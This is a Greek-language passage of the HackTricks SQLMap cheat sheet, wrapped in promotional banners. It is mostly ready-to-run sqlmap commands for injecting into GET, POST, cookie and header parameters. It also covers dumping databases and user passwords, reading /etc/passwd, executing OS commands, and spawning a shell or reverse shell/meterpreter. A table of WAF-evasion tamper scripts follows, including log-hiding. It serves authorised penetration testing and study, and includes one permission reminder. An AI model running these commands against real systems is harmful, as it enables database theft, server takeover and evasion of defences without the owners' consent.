.. | ||
README.md | ||
second-order-injection-sqlmap.md |
SQLMap - Φύλλο απατεώνα
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)!
Άλλοι τρόποι υποστήριξης του HackTricks:
- Αν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.
Άμεση διαθεσιμότητα εγκατάστασης για αξιολόγηση ευπαθειών & δοκιμές διείσδυσης. Εκτελέστε μια πλήρη δοκιμή διείσδυσης από οπουδήποτε με 20+ εργαλεία & χαρακτηριστικά που πηγαίνουν από την αναγνώριση μέχρι την αναφορά. Δεν αντικαθιστούμε τους δοκιμαστές διείσδυσης - αναπτύσσουμε προσαρμοσμένα εργαλεία, ανίχνευση & εκμετάλλευση modules για να τους δώσουμε λίγο χρόνο να σκαλίσουν βαθύτερα, να ανοίξουν κελιά και να διασκεδάσουν.
{% embed url="https://pentest-tools.com/" %}
Βασικά ορίσματα για το SQLmap
Γενικά
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
Ανάκτηση Πληροφοριών
Εσωτερικό
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges
Δεδομένα ΒΔ
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
Τοποθεσία ενέργειας διείσδυσης
Από την καταγραφή του Burp/ZAP
Καταγράψτε το αίτημα και δημιουργήστε ένα αρχείο req.txt
sqlmap -r req.txt --current-user
Ενσωμάτωση Αιτήσεων GET
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
Ενσωμάτωση Αιτήματος POST
sqlmap -u "http://example.com" --data "username=*&password=*"
Ενέσεις σε Κεφαλίδες και Άλλες Μεθόδους HTTP
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"
#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
Ενδείξτε τη συμβολοσειρά όταν η ενέργεια διείσδυσης είναι επιτυχημένη
--string="string_showed_when_TRUE"
Αξιολόγηση
Το Sqlmap επιτρέπει τη χρήση του -e
ή --eval
για να επεξεργαστεί κάθε φορτίο πριν το στείλει με μια python oneliner. Αυτό κάνει πολύ εύκολο και γρήγορο τον τρόπο επεξεργασίας του φορτίου πριν το στείλει. Στο παρακάτω παράδειγμα το flask cookie session υπογράφεται από το flask με τον γνωστό μυστικό κωδικό πριν το στείλει:
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
Κέλυφος
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
Διάβασμα Αρχείου
--file-read=/etc/passwd
Διαβεβαιώσου οτι έχεις την άδεια να δοκιμάσεις αυτήν την τεχνική σε ιστότοπους που σου ανήκουν ή για τους οποίους έχεις άδεια δοκιμής.
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
Δεύτερης Τάξης Ενέσεις
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
Διαβάστε αυτήν την ανάρτησησχετικά με το πώς να εκτελέσετε απλές και πολύπλοκες ενέσεις δεύτερης τάξης με το sqlmap.
Προσαρμογή της Ενέσεως
Ορισμός επιθήματος
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
Πρόθεμα
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
Βοήθεια στον εντοπισμό της boolean ενέργειας
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
Παρεμβολή
Θυμηθείτε ότι μπορείτε να δημιουργήσετε τη δική σας παρεμβολή σε Python και είναι πολύ απλό. Μπορείτε να βρείτε ένα παράδειγμα παρεμβολής στη σελίδα Δεύτερης Εντολής Εισαγωγής εδώ.
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper | Περιγραφή |
---|---|
apostrophemask.py | Αντικαθιστά τον χαρακτήρα απόστροφου με τον αντίστοιχο πλήρους πλάτους UTF-8 |
apostrophenullencode.py | Αντικαθιστά τον χαρακτήρα απόστροφου με τον παράνομο διπλό αντίστοιχο Unicode |
appendnullbyte.py | Προσθέτει κωδικοποιημένο χαρακτήρα NULL στο τέλος της φορτίου |
base64encode.py | Κωδικοποιεί σε Base64 όλους τους χαρακτήρες σε μια δεδομένη φορτίο |
between.py | Αντικαθιστά τον τελεστή μεγαλύτερο από ('>') με 'NOT BETWEEN 0 AND #' |
bluecoat.py | Αντικαθιστά τον χαρακτήρα κενού μετά τη δήλωση SQL με έναν έγκυρο τυχαίο χαρακτήρα κενού. Στη συνέχεια αντικαθιστά τον χαρακτήρα = με τον τελεστή LIKE |
chardoubleencode.py | Διπλή κωδικοποίηση URL όλων των χαρακτήρων σε μια δεδομένη φορτίο (χωρίς επεξεργασία ήδη κωδικοποιημένων) |
commalesslimit.py | Αντικαθίστα όλες τις εμφανίσεις όπως 'LIMIT M, N' με 'LIMIT N OFFSET M' |
commalessmid.py | Αντικαθίστα όλες τις εμφανίσεις όπως 'MID(A, B, C)' με 'MID(A FROM B FOR C)' |
concat2concatws.py | Αντικαθίστα όλες τις εμφανίσεις όπως 'CONCAT(A, B)' με 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
charencode.py | Κωδικοποιεί URL όλους τους χαρακτήρες σε μια δεδομένη φορτίο (χωρίς επεξεργασία ήδη κωδικοποιημένων) |
charunicodeencode.py | Κωδικοποιεί Unicode-URL τους μη-κωδικοποιημένους χαρακτήρες σε μια δεδομένη φορτίο (χωρίς επεξεργασία ήδη κωδικοποιημένων). "%u0022" |
charunicodeescape.py | Κωδικοποιεί Unicode-URL τους μη-κωδικοποιημένους χαρακτήρες σε μια δεδομένη φορτίο (χωρίς επεξεργασία ήδη κωδικοποιημένων). "\u0022" |
equaltolike.py | Αντικαθιστά όλες τις εμφανίσεις του τελεστή ισότητας ('=') με τον τελεστή 'LIKE' |
escapequotes.py | Αποδρά από τις αποστρόφους (' και ") |
greatest.py | Αντικαθιστά τον τελεστή μεγαλύτερο από ('>') με τον αντίστοιχο 'GREATEST' |
halfversionedmorekeywords.py | Προσθέτει εκδοχή MySQL πριν από κάθε λέξη-κλειδί |
ifnull2ifisnull.py | Αντικαθίστα όλες τις εμφανίσεις όπως 'IFNULL(A, B)' με 'IF(ISNULL(A), B, A)' |
modsecurityversioned.py | Περικλείει το πλήρες ερώτημα με εκδοχή σχολίου |
modsecurityzeroversioned.py | Περικλείει το πλήρες ερώτημα με μηδενική εκδοχή σχολίου |
multiplespaces.py | Προσθέτει πολλαπλά κενά γύρω από τις λέξεις-κλειδιά SQL |
nonrecursivereplacement.py | Αντικαθιστά προκαθορισμένες λέξεις-κλειδιά SQL με αντιπροσωπευτικές κατάλληλες για αντικατάσταση αντιπροσωπείες (π.χ. .replace("SELECT", "")) φίλτρα |
percentage.py | Προσθέτει ένα σύμβολο ποσοστού ('%') μπροστά από κάθε χαρακτήρα |
overlongutf8.py | Μετατρέπει όλους τους χαρακτήρες σε μια δεδομένη φορτίο (χωρίς επεξεργασία ήδη κωδικοποιημένων) |
randomcase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδιού με τιμή τυχαίας πεζής ή κεφαλαίας |
randomcomments.py | Προσθέτει τυχαία σχόλια στις λέξεις-κλειδιά SQL |
securesphere.py | Προσθέτει ειδικά δημιουργημένη συμβολοσειρά |
sp_password.py | Προσθέτει το 'sp_password' στο τέλος της φορτίου για αυτόματη απόκρυψη από τα αρχεία καταγραφής του DBMS |
space2comment.py | Αντικαθιστά τον χαρακτήρα κενού (' ') με σχόλια |
space2dash.py | Αντικαθιστά τον χαρακτήρα κενού (' ') με ένα σχόλιο παύλας ('--') ακολουθούμενο από μια τυχαία συμβολοσειρά και ένα νέο γραμμή ('\n') |
space2hash.py | Αντικαθιστά τον χαρακτήρα κενού (' ') με ένα χαρακτήρα τελείας ('#') ακολουθούμενο από μια τυχαία συμβολοσειρά και ένα νέο γραμμή ('\n') |
space2morehash.py | Αντικαθιστά τον χαρακτήρα κενού (' ') με ένα χαρακτήρα τελείας ('#') ακολουθούμενο από μια τυχαία συμβολοσειρά και ένα νέο γραμμή ('\n') |
space2mssqlblank.py | Αντικαθιστά τον χαρακτήρα κενού (' ') με έναν τυχαίο κενό χαρακτήρα από ένα σύνολο έγκυρων εναλλακτικών χαρακτήρων |
space2mssqlhash.py | Αντικαθιστά τον χαρακτήρα κενού (' ') με ένα χαρακτήρα τελείας ('#') ακολουθούμενο από μια νέα γραμμή ('\n') |
space2mysqlblank.py | Αντικαθιστά τον χαρακτήρα κενού (' ') με έναν τυχαίο κενό χαρακτήρα από ένα σύνολο έγκυρων εναλλακτικών χαρακτήρων |
space2mysqldash.py | Αντικαθιστά τον χαρακτήρα κενού (' ') με ένα σχόλιο παύλας ('--') ακολουθούμενο από μια νέα γραμμή ('\n') |
space2plus.py | Αντικαθιστά τον χαρακτήρα κενού (' ') με το σύμβολο συν ή ('+') |
space2randomblank.py | Αντικαθιστά τον χαρακτήρα κενού (' ') με έναν τυχαίο κενό χαρακτήρα από ένα σύνολο έγκυρων εναλλακτικών χαρακτήρων |
symboliclogical.py | Αντικαθιστά τους λογικούς τελεστές AND και OR με τους συμβολικούς αντίστοιχους (&& και) |
unionalltounion.py | Αντικαθιστά το UNION ALL SELECT με το UNION SELECT |
unmagicquotes.py | Αντικαθιστά τον χαρακτήρα εισαγωγής (' ) με ένα συνδυασμό πολλαπλών byte %bf%27 μαζί με γενικό σχόλιο στο τέλος (για να λειτουργήσει) |
uppercase.py | Αντικαθιστά κάθε χαρακτήρα λέξης-κλειδιού με τιμή κεφαλαίας 'INSERT' |
varnish.py | Προσθέτει ένα κεφαλίδα HTTP 'X-originating-IP' |
Άμεση εγκατάσταση για αξιολόγηση ευπαθειών & δοκιμές διείσδυσης. Εκτελέστε μια πλήρη δοκιμή διείσδυσης από οπουδήποτε με 20+ εργαλεία & χαρακτηριστικά που καλύπτουν από την αναγνώριση μέχρι την αναφορά. Δεν αντικαθιστούμε τους δοκιμαστές διείσδυσης - αναπτύσσουμε προσαρμοσμένα εργαλεία, ανίχνευση & εκμετάλλευση modules για να τους δώσουμε πίσω χρόνο για να εξερευνήσουν βαθύτερα, να ανοίξουν κελιά και να διασκεδάσουν.
{% embed url="https://pentest-tools.com/" %}
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι υποστήριξης του HackTricks:
- Αν θέλετε να δείτε την εταιρεία σας διαφημισμένη στο HackTricks ή να **κ